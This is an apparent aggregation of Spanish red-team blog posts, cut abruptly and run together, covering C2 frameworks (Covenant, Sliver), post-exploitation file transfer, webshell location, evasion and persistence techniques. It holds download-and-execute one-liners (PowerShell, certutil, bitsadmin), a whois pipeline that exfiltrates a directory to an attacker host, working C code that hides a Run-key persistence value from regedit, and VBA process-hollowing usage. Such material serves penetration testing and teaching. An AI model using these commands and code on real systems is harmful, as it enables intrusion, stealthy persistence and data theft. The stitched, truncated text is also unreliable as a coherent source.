Donut: generador de shellcodes capaces de cargar assembly .NET en memoria (2 de 2)

En el post anterior de esta serie vimos el funcionamiento de los donuts. Ahora, en esta segunda entrada, vamos a ver qué podemos hacer con esta herramienta, es decir, nos centraremos en casos prácticos.

Primero cargaremos un stager de unos de los c2c de moda, Covenant, luego cargaremos un desarrollo propio de HackPlayers como es Salsa-Tools y por último veremos como cargar payloads de Metasploit sin que salte el antivirus.

Bien, en primer lugar, veamos cómo se instala Covenant.

wget -qO- https://packages.microsoft.com/keys/microsoft.asc | gpg --dearmor > microsoft.asc.gpg
sudo mv microsoft.asc.gpg /etc/apt/trusted.gpg.d/
wget -q https://packages.microsoft.com/config/debian/9/prod.list
sudo mv prod.list /etc/apt/sources.list.d/microsoft-prod.list
sudo chown root:root /etc/apt/trusted.gpg.d/microsoft.asc.gpg
sudo chown root:root /etc/apt/sources.list.d/microsoft-prod.list
sudo apt-get install apt-transport-https
sudo apt-get update
sudo apt-get install dotnet-sdk-2.2
git clone --recurse-submodules https://github.com/cobbr/Covenant
cd Covenant/Covenant
dotnet build
dotnet run


Con este pequeño script, podemos realizar la instalación. Le damos permisos de ejecución :

    • “chmod +x installl-covenant.sh”



Esperamos a que se realice la instalación de Covenant y, una vez finalice, nos levantará un servidor web. Ese servidor web lo usaremos para controlar los equipos que tengamos backdoorizados.


Técnicas para transferir archivos durante una post-explotación

Normalmente en cualquier ejercicio de red team cuando se consigue acceso a un sistema tendremos que ingeniárnoslas para subir distintos archivos, continuando así con el proceso de post-explotación.

Recientemente he visto un paper muy completo en Seebug del chino xax007 con un montón de técnicas que siempre conviene tener a mano:

Crear un servidor HTTP

Los siguientes comandos iniciarán el servicio HTTP en el directorio actual, en el puerto 1337.

python2:
python -m SimpleHTTPServer 1337

python3:
python -m http.server 1337

Ruby:
ruby -rwebrick -e'WEBrick::HTTPServer.new(:Port => 1337, :DocumentRoot => Dir.pwd).start'

Ruby 1.9.2+:
ruby -run -e httpd . -p 1337

Perl:
perl -MHTTP::Server::Brick -e '$s=HTTP::Server::Brick->new(port=>1337); $s->mount("/"=>{path=>"."}); $s->start'
perl -MIO::All -e 'io(":8080")->fork->accept->(sub { $_[0] < io(-x $1 +? "./$1 |" : $1) if /^GET \/(.*) / })'

PHP 5.4+:
php -S 0.0.0.0:1337

busybox httpd:
busybox httpd -f -p 8000

Descargar y ejecutar archivos desde el servidor HTTP

A continuación se muestran algunas maneras de descargar y ejecutar archivos desde un servidor HTTP utilizando las propias herramientas del sistema en sistemas Windows y Linux.

WINDOWS

powershell:
powershell (new-object System.Net.WebClient).DownloadFile('http://1.2.3.4/5.exe','c:\download\a.exe');start-process 'c:\download\a.exe'

Certutil:
certutil -urlcache -split -f http://1.2.3.4/5.exe c:\download\a.exe&&c:\download\a.exe

bitsadmin:
bitsadmin /transfer n http://1.2.3.4/5.exe c:\download\a.exe && c:\download\a.exe

FileGPS: herramienta para encontrar un archivo renombrado a través de un formulario de upload

Cuando estamos auditando un sitio web y logramos subir una webshell o simplemente un archivo de prueba a través de un formulario de upload, generalmente se renombra de varias maneras para evitar el acceso directo, RCE o su sobrescritura.

fileGPS es una herramienta que utiliza varias técnicas para encontrar el nuevo nombre de archivo, después de que el script correspondiente del lado del servidor cambie el nombre y lo guarde.

Algunas de las técnicas que fileGPS prueba son:

- Varios hashes del nombre del archivo
- Varias combinaciones de timestamps
- Nombre de archivo + tiempo de PHP() hasta 5 minutos antes del inicio del script
-  Muchos mas

Características

- Fácil de usar
- multihilo
- soporte proxy HTTP(s)
- agente de usuario aleatorio
- cerca de 100.000 nombres de archivo

Instalación

En ParrotOS:

sudo apt install filegps

En BlackArch Linux:

pacman -S filegps

En otras distros:

git clone https://github.com/0blio/filegp

Ejemplos de uso


fileGPS -u http://target.com/upload/images --file shell.php

fileGPS -u http://target.com/upload/images --file shell.php --modules shame,mytestmodule

fileGPS -u http://target.com/upload/images --file shell.php --proxy 127.0.0.1:9050 --cookie mycookies

Cómo escribir un módulo

Escribir un módulo es bastante simple y permite implementar formas personalizadas de generar combinaciones de nombres de archivo.

A continuación se muestra una plantilla para los módulos:
#!/usr/bin/env python
# -*- coding: utf-8 -*-

"""
  Module name: test
  Coded by: Your name / nickname
  Version: X.X
  
  Description:
    This module destroy the world.
"""
output = []

# Do some computations here

output = ["filename1.php", "filename2.asp", "filename3.jar"]

Las variables url y filename se importan automáticamente del script core, por lo que se pueden llamar en su módulo.

Una vez que escribamos nuestro módulo simplemente tendremos que guardarlo en Modules/ y se importará automáticamente una vez que se inicie el script principal.

Repo: https://github.com/0blio/filegps

Donut: generador de shellcodes capaces de cargar assembly .NET en memoria (1 de 2)

En 2015, el AMSI (Antimalware Scan Interface) fue integrado en varios componentes de Windows usados para ejecutar scripts (VBScript, JScript, PowerShell). Casi al mismo tiempo, se agregó a PowerShell Script Block Logging permitiendo capturar el contenido completo de los scripts que se ejecutan, eliminando así cualquier ofuscación utilizada. De esta manera los Red Teams tuvieron que dar otro pasito y empezaron a usar ensamblados o assemblies (suena mejor en inglés) generalmente escritos en C#. Ahora lo veremos en más detalle que son, pero adelantaros que los assemblies brindan toda la funcionalidad de PowerShell pero con la clara ventaja de cargar y ejecutar completamente desde la memoria y además hoy en día casi todas las máquinas con microsoft Windows tienen el framework .NET instalado que pueden usarlo así que ¡buena combinación!

Ya sabéis que .NET fue creado para rivalizar y reemplazar a Java por lo que tiene ciertas similitudes. Es "compilado" a CIL, un lenguaje intermedio y usa código managed compilado just-in-time por el CLR (además de poder operar con código unmanaged o nativo). Soporta C#, F#, C++/CLI, PowerShell, JScript, VBScript, IronPython, IronRuby y permite operar entre ellos. Antes de comenzar, debemos comprender algunos componentes importantes de .NET.

- CLR o Common Language Runtime: al igual que Java, .NET utiliza un entorno (o "máquina virtual") para interpretar el código en tiempo de ejecución. Todo el código .NET se compila en un lenguaje intermedio al código nativo "Just-In-Time" antes de la ejecución.

- CIL o Common Intermediate Language: hablando de un lenguaje intermedio, .NET usa CIL (también conocido como MSIL). Todos los lenguajes .NET (de los cuales hay muchos) están en "assemblies" en este lenguaje intermedio. CIL es un lenguaje assembly genérico orientado a objetos que se puede interpretar en código máquina para cualquier arquitectura de hardware. Como tal, los diseñadores de lenguajes .NET no necesitan diseñar sus compiladores en torno a las arquitecturas en las que se ejecutarán. En cambio, simplemente necesitan diseñarlo para compilarlo en un idioma: CIL.

- Assemblies .NET: las aplicaciones .NET se empaquetan en .NET Assemblies. Se llaman así porque el código de su lenguaje elegido se ha "ensamblado" en CIL pero no se ha compilado realmente. Los assemblies usan una extensión del formato PE y se representan como un EXE o una DLL que contiene CIL en lugar de código de máquina nativo.

- Dominios de aplicación: los assemblies se ejecutan dentro de una "caja" segura conocida como dominio de aplicación. Pueden existir varios assemblies dentro de un dominio de aplicación, y pueden existir múltiples dominios de aplicación dentro de un proceso. Los AppDomains están destinados a proporcionar el mismo nivel de aislamiento entre los ensamblajes en ejecución que normalmente se proporciona para los procesos. Los subprocesos pueden moverse entre AppDomains y pueden compartir objetos a través de la organización y los delegados.

Escribiendo un sencillo bootloader

Algunos tipos de malware se guardan así mismos en el Master Boot Record (en adelante MBR) como método de persistencia arrancándose durante el proceso de inicio del sistema. Recientemente, Marco Ramilli (basándose en los trabajos de Prabir Shrestha y Martin Splitt) explicaba brevemente como funcionaba el MBR y cómo escribir un programa bootloader, skill básica que nos ayudará a analizar artefactos de malware que implementen esta característica.

¿Cómo funciona el proceso de arranque de un PC?

En realidad, el proceso de arranque es súper fácil. Cuando presionamos el botón de encendido, proporcionamos la potencia necesaria para la electrónica del PC. Una vez que se enciende la BIOS, comienza ejecutando su propio código almacenado y cuando termina de ejecutar sus rutinas de inicialización, busca dispositivos de arranque.

Un dispositivo de arranque es un dispositivo conectado físicamente que tiene 521 bytes de código al principio y que contiene el número mágico de arranque: 0x55AA como últimos 2 bytes. Si la BIOS encuentra 510 bytes seguidos de 0x55AA, toma los 510 bytes anteriores los mueve a la RAM (a la dirección 0x7c00) y asume que son bytes ejecutables. Este código es el llamado gestor de arranque.

Solo una nota al margen: el gestor de arranque se escribirá en 16 bits ya que las CPU compatibles con x86 funcionan en "modo real" debido al limitado conjunto de instrucciones disponibles.

El código asm

El siguiente código en ensamblador con la sintaxis AT&T se ejecuta en el arranque mostrando 3 strings y una especie de progresión a modo reloj. Como la BIOS está "cerca" de la memoria, podemos usar un conjunto completo de instrucciones de BIOS e interrupciones como se muestran a continuación:

1. Int_10,02 para configurar el tamaño de la pantalla
2. int_10,07 para limpiar la pantalla de las salidas de la BIOS
3. int_12a, 02 para configurar las posiciones del cursor
4. int_1a, 02 para leer el estado del reloj
5. int_10,0e para escribir caracteres en la pantalla

Una #DEFCON muy especial

La semana pasada tuve el placer de asistir al mayor evento de seguridad informática del mundo: la #defcon en su edición número 27 y vamos a contar la experiencia...
Pues si estáis pensando en ir a la #defcon en próximas ediciones, este artículo os puede servir de referencia.

CONTEXTO

Después de mucho tiempo hablando con mi compinche @JR_kneda sobre ir a este evento, decidimos comprar los vuelos y el hotel en Enero, ya que no nos lo pagaba la empresa, y teníamos pocos días disponibles para la aventura.

EL VIDEO

Al lío, en este video-resumen que se ha trabajado mi compinche, lo tenéis casi todo resumido:
DEFCON 27 from Security and Ethical Hacking on Vimeo.

De XP a Windows 10: explotando Microsoft CTF

Tavis Ormandy de Project Zero de Google ha publicado una vulnerabilidad que afecta a todas las versiones de Windows, desde XP a 10.

El problema está en el subsistema MSCTF que es parte del framework de servicios de texto o TSF (Text Service Framework). El TSF administra cosas como métodos de entrada, distribuciones de teclado, procesamiento de texto, etc.

Hay dos componentes principales, el servidor/monitor ctfmon y el cliente msctf. El servicio ctfmon arranca cuando se inicia sesión en la máquina como puedes comprobar simplemente viendo el administrador de tareas:


Este servicio crea un puerto ALPC (Local Inter-Process Communication) al que las aplicaciones se conectan para intercambiar mensajes sobre cambios en el layout del teclado o métodos de entrada. Cuando cualquier proceso crea una ventana, el kernel invoca una devolución de llamada o callback, USER32!CtfHookProcWorker, que carga automáticamente el cliente msctf.

El cliente se conecta al puerto ALPC y manda su HWND, el subproceso y la identificación del proceso.

El servidor espera continuamente los mensajes de los clientes, pero los clientes solo buscan mensajes cuando se les notifica a través de PostMessage(). Esta es la razón por la que los clientes llaman a RegisterWindowMessage() al inicio.

Exfiltrando información con un simple comando 'whois'

Hoy en día solemos abrir el navegador y usar servicios web de 'Whois' para consultar el dueño de un dominio o dirección IP. Pero no olvidemos que Whois es también un protocolo TCP que se creó en los años 80 y que todavía podemos usar desde la línea de comandos: sólo tenemos que tener el puerto 43/TCP abierto y podremos consultar directamente un dominio e información de AS e IP... ¿¿sólo??


Pues evidentemente y como habréis podido imaginar podemos usar también 'Whois' para el "mal", como por ejemplo exfiltrar información a través de este protocolo. Andy Kawa nos enseñaba un método sencillo para hacerlo. Veamos cómo...

En la máquina del atacante levantamos un netcat y lo dejamos a la escucha, volcando la salida también a un fichero:

ncat -k -l -p 4444 | tee files.b64

Y ahora, desde la máquina que hemos comprometido o desde la cual queremos transferirnos un fichero simplemente tenemos que empaquetar el directorio que queramos exfiltrar y mandarlo en base64 (recordar que tenemos que tener el puerto 43/TCP abierto). En mi caso, como veréis a continuación, en vez de mandar una cantidad determinada de bytes lo limitaré por número de caracteres:

tar czf - /path/to/directory/* | base64 | tr '\n' '\0' | xargs -0 -s 2000 timeout 0.03 whois -h attacker.machine.IP -p 4444


Una vez recibido el "stream" en base64 sólo tenemos que realizar los pasos a la inversa para obtener el binario:

$ file files.b64
files.b64: ASCII text, with very long lines, with CRLF line terminators


$ cat files.b64 | tr -d '\r\n\ ' | base64 -d > exfiltered.tar.gz 

$ file exfiltered.tar.gz
exfiltered.tar.gz: gzip compressed data, last modified: Mon Aug 11 02:47:24 2019, from Unix


Y ya está! tenemos en la máquina del atacante el fichero transferido.

Listado de frameworks de post-explotación/C2 de código abierto

Recientemente @xorrior, uno de los desarrolladores de Empire, anunciaba que no se iba a seguir dando soporte/actualizando su famoso framework de post-explotación. Pero tranquilos... estoy seguro que este maravilloso proyecto no morirá. Sirva de ejemplo que nuestro compi Luis Vacas, ayudado y animado por la Comunidad y los locos de Likor aka nos encargaremos de darle la coña, pronto actualizará e irá añadiendo funcionalidades nuevas al mod que tenemos en el github de Hackplayers (que además esperamos ver en directo en la conferencia h-c0n de 2020 ;-) ).

Mientras tanto y a propósito del anuncio de Empire, leía un post en PentestIT donde recopilaban una lista muy interesante con un montón de frameworks C2 de código abierto que pueden servir de alternativa. Muchos de ellos ya los hemos probado y escrito sobre ellos en el blog, otros simplemente tienen tan buena pinta que se hace imperativo probarlos. Os dejo la lista con dos o tres C2 más que conocía:

1. APfell: es un framework C2 multiplataforma, hecho con python3, docker, docker-compose y una interfaz de usuario nweb. Incluye soporte para múltiples perfiles C2, múltiples tipos de payload incluyendo una interesante extensión para Chrome y JavaScript para Automatización (JXA) en Mac OS. Y además mapea con MITRE ATT&CK. Curiosamente, este framework se inspira en familias de malware conocidas como PlugX, Flame, etc.

2. Aura Botnet: un framework orientado a botnets muy portable con un servidor C2 basado en Django. El cliente está escrito en C++, con clientes alternativos escritos en Rust, Bash y Powershell.

3. Covenant: lo que lo diferencia sobretodo este framework del resto es que admite .NET Core, que es multiplataforma. Por lo tanto, Covenant puede ejecutarse de forma nativa en plataformas Linux, MacOS y Windows. Además, Covenant tiene soporte para Docker, lo que le permite ejecutarse dentro de un contenedor en cualquier sistema que tenga instalado Docker. Consta de tres componentes: Covenant (componente del lado del servidor), Elite (componente del lado del cliente) y Grunt (implante).

4. Faction C2: Se centra en proporcionar una plataforma fácil, estable y accesible para las comunicaciones C2 a través de las API REST y Socket.IO. Podemos usar Marauder, un agente de .NET de ejemplo para Faction C2 Framework pero también podemos crear fácilmente nuestro propio agente. Además este framework tiene un sistema de control de acceso basado en roles y los datos pueden consultarse usando consultas SQL.

Extracción de configuración de malware con MalConfScan (plugin de Volatility)

Todos los días, se descubren nuevos tipos de malware. Sin embargo, muchos de ellos son en realidad variantes del malware existente: comparten la mayor parte del código y hay una ligera diferencia en la configuración, como los servidores de C&C. Por lo tanto, si obtenemos la configuración tendremos prácticamente lo más importante de un artefacto de malware.

Hoy en día no existen muchas herramientas que aglutinen extractores para un buen número de familias malware o, exceptuando CAPE, un excelente fork de Cuckoo-modified, yo al menos no conocía muchas. Pero recientemente JPCERT/CC ha publicado en Github MalConfScan, un plugin para The Volatility Framework que extrae datos de configuración de malware conocido, actualmente los siguientes:

Ursnif HawkEye
Emotet Lokibot
Smoke Loader Bebloh
PoisonIvy AZORult
CobaltStrike NanoCore RAT
NetWire AgentTesla
PlugX FormBook
RedLeave NodeRA
TSCookie njRAT
TSC_Loader TrickBot
xxmm Remcos
Datper QuasarRAT
Ramnit Pony (pte)

Como decimos, MalConfScan busca malware en las imágenes de memoria y descarga los datos de configuración. Pero además, esta herramienta tiene una función para enumerar cadenas a las que se refiere el código malicioso.

- malconfscan: extrae la configuración de malware conocido de una imagen de memoria
- malstrscan: detecta procesos sospechosos de una imagen de memoria y enumera la string a la que se refiere

Instalación de MalConfScan

Clonar MalConfScan de repo de Github

$ git clone https://github.com/JPCERTCC/MalConfScan.git

Instalación de requisitos de Python

$ pip install -r MalConfScan/requirements.txt

Copiar MalConfScan a la carperta de plugins de Volatility

$ cd MalConfScan
$ cp -R malconfscan.py utils yara [Extract Volatility Folder]/volatility/plugin/malware

Técnica Anti-VM con MSAcpi_ThermalZoneTemperature

Hoy en día es extremadamente fácil escribir muestras de malware utilizando técnicas anti-VM diseñadas para detectar entornos virtuales o de sandboxing. Como estamos en verano y en plena ola de calor (al menos por estos lares), qué mejor manera que ver un técnica que se basa en comprobar si el sistema nos devuelve la temperatura del procesador...

Se trata una de las técnicas más comunes, que es usar WMI para consultar la clase Win32_BIOS para interactuar con los atributos de la máquina física. Concretamente la clase WMI Win32_TemperatureProbe representa las propiedades de un sensor de temperatura (termómetro electrónico).

Con el siguiente comando obtendremos la temperatura en décimas de grados Kelvin (si queremos grados centígrados simplemente /10 - 273) :

wmic /namespace:\\root\WMI path MSAcpi_ThermalZoneTemperature get CurrentTemperature


Y con la siguiente función/implementación en Powershell de Ialle Teizeira (@teixeira0xfffff) obtendremos el mismo resultado:
function Get-AntiVMwithTemperature {
    $t = Get-WmiObject MSAcpi_ThermalZoneTemperature -Namespace "root/wmi"

    $valorTempKelvin = $t.CurrentTemperature / 10
    $valorTempCelsius = $valorTempKelvin - 273.15

    $valorTempFahrenheit = (9/5) * $valorTempCelsius + 32

    return $valorTempCelsius.ToString() + " C : " + $valorTempFahrenheit.ToString() + " F : " + $valorTempKelvin + "K"  
}
#resource https://medium.com/@DebugActiveProcess

Consiguiendo persistencia invisible al editor del registro de Windows (regedit)

Hoy vamos a ver como, mediante algunas llamadas al API nativa de Windows, podemos crear valores en el registro que Regedit no puede mostrar o exportar. Esta técnica se recogía en un paper de eWhite Hats y con la misma se puede conseguir persistencia casi "invisible" e incluso almacenar de binarios "fileless".

En este post nos centraremos en el primer caso, básicamente, la posibilidad de escribir un valor en la clave Run que Regedit no puede mostrar, pero que sin embargo Windows leerá correctamente cuando la compruebe justo después de reiniciar.

// HIDDEN_KEY_LENGTH doesn't matter as long as it is non-zero.
// Length is needed to delete the key
#define HIDDEN_KEY_LENGTH 11
void createHiddenRunKey(const WCHAR* runCmd) {
LSTATUS openRet = 0;
NTSTATUS setRet = 0;
HKEY hkResult = NULL;
UNICODE_STRING ValueName = { 0 };
wchar_t runkeyPath[0x100] = L"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run";
wchar_t runkeyPath_trick[0x100] = L"\0\0SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run";
if (!NtSetValueKey) {
HMODULE hNtdll = LoadLibraryA("ntdll.dll");
NtSetValueKey = (_NtSetValueKey)GetProcAddress(hNtdll, "NtSetValueKey");
}
ValueName.Buffer = runkeyPath_trick;
ValueName.Length = 2 * HIDDEN_KEY_LENGTH;
ValueName.MaximumLength = 0;
if (!(openRet = RegOpenKeyExW(HKEY_CURRENT_USER, runkeyPath, 0, KEY_SET_VALUE, &hkResult))) {
if (!(setRet = NtSetValueKey(hkResult, &ValueName, 0, REG_SZ, (PVOID)runCmd, wcslen(runCmd) * 2)))
printf("SUCCESS setting hidden run value!\n");
else
printf("FAILURE setting hidden run value! (setRet == 0x%X, GLE() == %d)\n", setRet, GetLastError());
RegCloseKey(hkResult);
}
else {
printf("FAILURE opening RUN key in registry! (openRet == 0x%X, GLE() == %d)\n", openRet, GetLastError());
}
}

En la función anterior, NtSetValueKey se pasa a UNICODE_STRING ValueName. ValueName.Buffer normalmente se establecería en "SOFTWARE\Microsoft\Windows\CurrentVersion\Run" para establecer un valor de la clave Run.
En su lugar, anteponemos esta cadena con dos NULOS WCHAR ("\0\0") para que ValueName.Buffer sea "\0\0SOFTWARE\Microsoft\Windows\CurrentVersion\Run”

Usando CyberChef (parte I)

CyberChef se ofrece como una navaja suiza vía web para tratar datos y realizar operaciones de cifrado, codificación, compresión, entre otros… en esta serie de artículos vamos a sentar las bases para trabajar con ella, hacer algunos ejercicios y así entender para qué nos puede ser útil en el ámbito de la seguridad informática.

Antecedentes 

 El año pasado descubrí por casualidad esta estupenda tool dentro de mi investigación de el entorno de respuesta ante incidentes con Skadi (https://github.com/orlikoski/Skadi) ya que estaba incluida en el repositorio de herramientas, si tuviste la oportunidad de ir a la charla que ofrecimos en la h-c0n 2019 (https://www.h-c0n.com/p/ponencias.html#rateando) la comentamos por encima:



A raíz de este descubrimiento, la quise probar más a fondo, ya que para los trabajos de respuesta ante incidentes tiraba de linea de comandos, recursos web y algunos scripts que iba haciendo sobre la marcha.

Referencias

Esta navaja suiza mantenida por la gente de GCHQ está disponible desde el 2016 y muchos de vosotros ya la conoceréis, sin ir más lejos ya había una entrada en este blog: https://www.hackplayers.com/2018/12/solucion-al-reto-28-baby-crackme.html.

Nos podemos descargar su código del Github https://github.com/gchq/CyberChef o directamente acceder a su versión online https://gchq.github.io/CyberChef/. Básicamente tenemos tres campos en este recurso web: entrada de datos, operaciones a aplicar a esa entrada y el resultado de aplicar las operaciones.

Conocimientos previos y recursos

La idea de esta serie de artículos será sentar las bases de como utilizar esta herramienta y poner una serie de ejemplos para que se vea su potencial.

Para empezar a sacarle partido a esta tool, tendremos que tener cómo mínimo conocimientos de expresiones regulares, operadores booleanos y ciertos algoritmos simples/complejos. Vamos a dejar algunos recursos en español para empezar:
A tener en cuenta la ayuda de la misma aplicación a nivel de operaciones con definiciones propias y de recursos externos, en el ejemplo siguiente con la referencia a Wikipedia sobre XOR

Implementación de process hollowing en VBA

Ya sabéis que Process hollowing, también conocido como Process Replacement o RunPE, es una técnica que hoy en día utiliza mucho el malware y consiste en que un proceso legítimo se carga en el sistema únicamente para actuar como contenedor de código hostil: el proceso legítimo se inicia en un estado suspendido y su área de memoria se reemplaza con el código de un segundo programa. Eso será ejecutado en lugar del original. Hoy recopilamos la implementación de esta técnica en VBA gracias al francés Clément Labro.

Su código se puede utilizar para lanzar ejecutables desde la memoria de Word o Excel. Es compatible con versiones de Microsoft Office 2010 y superiores y con arquitecturas de 32 bits y 64 bits.


Uso 1 - Archivo PE en disco

1. En el exploit al final del código, hay que establecer la ruta del archivo que se desea ejecutar.

strSrcFile = "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"

Nota: Si se está utilizando una versión de Microsoft Office de 32 bits en un sistema operativo de 64 bits, se deben especificar binarios de 32 bits.

strSrcFile = "C:\Windows\SysWOW64\cmd.exe"
strSrcFile = "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"

2. También se pueden especificar los parámetros del comando (opcional).

strArguments = "-exec Bypass"

Esto nos dará el equivalente a:

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -exec Bypass

3. (Opcional) Enable View > Immediate Window (Ctrl+G) para comprobar si se ejecuta bien y ver los logs.

4. Ejecuta el exploit con la macro!

pyattck: un paquete en Python para interactuar con el framework MITRE ATT&CK

Si te dedicas a threat hunting y tienes el foco en las tácticas, técnicas y procedimientos (TTP) utilizados por ciertos actores/grupos, entonces ya sabes que el framework de MITRE ATT&CK es muy valioso...


MITRE proporciona una guía con un diseño simple y directo, pero puede ser útil también usarlo mediante programación para medir (o asignar) ciertos controles de seguridad utilizando su framework. Afortunadamente el equipo de investigación de Swimlane ha lanzado pyattck, un paquete Python para interactuar con el framework Mitre ATT&CK de una manera bastante sencilla y que nos permitirá identificar relaciones conocidas entre todas las verticales en MITRE ATT&CK.

Imagina que queremos asegurarnos que estamos protegidos contra las TTP relacionadas con Dragonfly y en lugar de mirar a través de un mapa visual la información sobre este actor, podremos usar pyattck para extraer las herramientas, el malware y las técnicas asociadas o utilizadas por este grupo. Entonces, para recuperar las técnicas usadas por Dragonfly podemos instalar pyattck (pip install pyattck) y programar un sencillo script como este:
import sys
from pyattck import Attck
attack = Attck()
for actor in attack.actors:
 if sys.argv[1] in actor.name:
  for technique in actor.techniques:
   print(technique.name)

Inyección reflejada de DLLs en Windows

Normalmente cuando se carga una DLL en Windows se llama a la función LoadLibrary, que toma la ruta del archivo de la DLL y la carga en la memoria. Sin embargo, existe una técnica que permite a un atacante inyectar una librería en un proceso remoto (víctima) desde la memoria en lugar de desde disco, una forma más sigilosa de ejecutar código malicioso: hablamos de la inyección reflejada de DLLs o, en inglés, "reflective DLL loading".

No obstante, Windows no tiene una función como LoadLibrary para llevarlo a cabo, así que para obtener la funcionalidad tendremos que escribirla nosotros mismos.

Implementando la técnica

La técnica más común para inyectar DLLs de una forma reflejada, bien documentada por el irlandés Stephen Fewer, es doble. En primer lugar, la DLL que queremos inyectar debe estar escrita en el espacio de direcciones del proceso de destino/host. En segundo lugar, la DLL debe cargarse en ese proceso host de tal manera que se cumplan todos los requisitos de tiempo de ejecución de la librería, como resolver sus importaciones o reubicarlas en una ubicación adecuada en la memoria.

Suponiendo que tenemos ejecución de código en el proceso del host y que la librería que deseamos inyectar se ha escrito en una ubicación arbitraria de la memoria en el proceso del host, la inyección reflejada de DLLs funciona de la siguiente manera:

- La ejecución se pasa, ya sea a través de CreateRemoteThread(), una función de API no documentada equivalente como RtlCreateUserThread o un pequeño shellcode bootstrap, a la función ReflectiveLoader de la librería, que es una función exportada que se encuentra en la tabla de exportación de la librería.
- Como la imagen de la librería existirá actualmente en una ubicación arbitraria en la memoria, ReflectiveLoader primero calculará la ubicación actual de su propia imagen en la memoria para poder analizar sus propios headers para su uso posterior.
- ReflectiveLoader luego analizará la tabla de exportación de los procesos del host kernel32.dll para calcular las direcciones de las tres funciones requeridas por el cargador, a saber, LoadLibraryA, GetProcAddress y VirtualAlloc.
- ReflectiveLoader ahora asignará una región continua de memoria en la que procederá a cargar su propia imagen. La ubicación no es importante ya que el cargador re-ubicará correctamente la imagen más adelante.
- Los headers y las secciones de la librería se cargarán en sus nuevas ubicaciones en la memoria.
- ReflectiveLoader procesará la copia recién cargada de la tabla de importación de su imagen, cargando las librerías adicionales y resolviendo sus respectivas direcciones de función importadas.
- ReflectiveLoader procesará la copia recién cargada de la tabla de reubicación de su imagen.
- ReflectiveLoader llamará a la función de punto de entrada de su imagen recién cargada, DllMain con DLL_PROCESS_ATTACH. La librería ahora se habrá cargado con éxito en la memoria.
- Finalmente, ReflectiveLoader devolverá la ejecución al shellcode inicial que lo llamó, o si fue llamado a través de CreateRemoteThread, el hilo terminará.

* Si queréis ver código C/C++ para implementar muchas de las funciones necesarias os aconsejo que echéis un vistazo al post de 0x00Sec aquí.

Reflective dll inject en Metasploit

Asumimos que el atacante ya ha obtenido una shell de meterpreter en el sistema víctima y ahora intentará realizar una inyección reflexiva de DLL en un proceso remoto, más específicamente en un proceso notepad.exe con PID 6156.

¿Has conseguido credenciales en un pentest y necesitas ayuda para encontrar info sensible? Scavenger, un script que puede ayudarte

Durante un pentest interno, si tenemos suerte y/o la suficiente pericia, obtendremos acceso de nivel administrativo al dominio de Active Directory de Windows. Sin embargo, muchas veces tendremos el problema de tener demasiado acceso a demasiados sistemas con días limitados para pruebas. Necesitamos encontrar información valiosa y lo antes posible...

Scavenger es una herramienta creada por Trustwave que nos permitirá encontrar rápidamente esos archivos y carpetas "interesantes" una vez que hayamos obtenido credenciales (post-explotación). Es multi-hilo y permite escanear sistemas remotos (*nix, Windows y OSX) a través de los servicios SMB y SSH para analizar cada sistema en busca de información valiosa y luego almacenar en caché el resultado de forma ordenada en una base de datos.

La información confidencial puede tomar muchas formas dependiendo de lo que se busca, pero en el caso de un pentester, generalmente reside en contraseñas y nombres de usuario de otros sistemas o incluso de diferentes dominios de Windows. Scavenger busca y peina proactivamente este tipo de información:

- lista de los "últimos" archivos/carpetas accedidos/modificados/creados.
- archivos que contengan palabras interesantes, por ejemplo, "password" o "secret". Una vez detectados, Scavenger los descargará a local.
- archivos que contengan información de cuentas y tarjetas (PCI).
- hashes de contraseñas del archivo SAM local o de la base de datos de Active Directory (ntds.dit).
- contraseñas guardadas en algunas aplicaciones, por ejemplo, las contraseñas que se guardan en Chrome, y también otras aplicaciones como WinSCP.


Además, Scavenger tiene la capacidad de comparar y contrastar la lista almacenada en caché de archivos y carpetas previamente obtenidos con una lista recientemente escaneada y adquirida después de un período de tiempo no determinado (horas o días). Por ejemplo, si obtuvimos acceso de nivel de administrador de dominio el día inicial de la prueba de instrusión, el pentester puede esperar varios días y usar Scavenger para volver a escanear y comparar la lista "nueva" anterior de archivos encontrados con la última lista de archivos.

Esto le da al analista la capacidad de determinar rápidamente qué ha cambiado en ese período de tiempo, por ejemplo, si se han creado nuevos archivos y/o si se ha accedido o modificado los archivos antiguos de alguna manera. Por ejemplo, si vemos que el administrador accede con frecuencia a ciertas contraseñas o archivos, es seguro que lo que hay en esos archivos tiene un valor importante.

Requisitos

Instalar CrackMapExec - CrackMapExec Installation Page

Repo

git clone https://github.com/SpiderLabs/scavenger.git

Ejemplos

$ python3 ./scavenger.py smb -t 10.0.0.10 -u administrator -p Password123 -d test.local

$ python3 ./scavenger.py smb --target iplist --username administrator --password Password123 --domain test.local --overwrite


Fuente:

https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/scavenger-post-exploitation-tool-for-collecting-vital-data/

The Dog Whisperer’s Handbook: una guía para BloodHound

La semana pasada, en la Cumbre de seguridad de Active Directory de ERNW Insight que tuvo lugar en Heidelberg (Alemania), Enno Rey (@Enno_Insinuator) y Walter Legowski (@SadProcessor) impartieron un taller de BloodHound. La mayoría de los mortales no tuvimos suerte de poder asistir al mismo, pero durante el mismo se comprometieron con los alumnos a escribir una Guía de capacitación que luego compartirían con la Comunidad... Y aquí está, recién sacada del horno y disponible para descargar: 

The Dog Whisperer’s Handbook – A Hacker’s Guide to the BloodHound Galaxy.
Este PDF es una colección de fragmentos y piezas que se dispersaron por la web y que recogieron en los últimos dos años mientras escribían el módulo CypherDog.

En el encontraremos una buena cantidad de información sobre cómo comenzar con BloodHound y Cypher y un montón de enlaces a recursos para llevar nuestro conocimiento aún más lejos.

El resumen del contenido de esta guía es el siguiente:

A - Concepto de BloodHound y evolución de la herramienta
B - Instalación de BloodHound e interfaz de usuario
C - Recopilación de datos e ingesta
D - Cypher básico y consultas comunes
E - Cypher avanzado y manipulación de DB
F - API REST y otras cosas interesan

Además, para aquellos que quieran jugar con BloodHound pero que no tienen un AD a mano para recopilar datos, también crearon algunos Datos de AD de ejemplo para alimentar a BloodHound.

Ahora ya no tienes excusas para sacar a pasear al perro ...

Sliver: un framework para implants muy interesante

Sliver es un sistema de Comando y Control (C2) creado para pentesters, redteamers y APTs avanzadas. Genera implants o implantes (slivers) que pueden ejecutarse en prácticamente todas las arquitecturas, y administrar estas conexiones de forma segura a través de un servidor central.

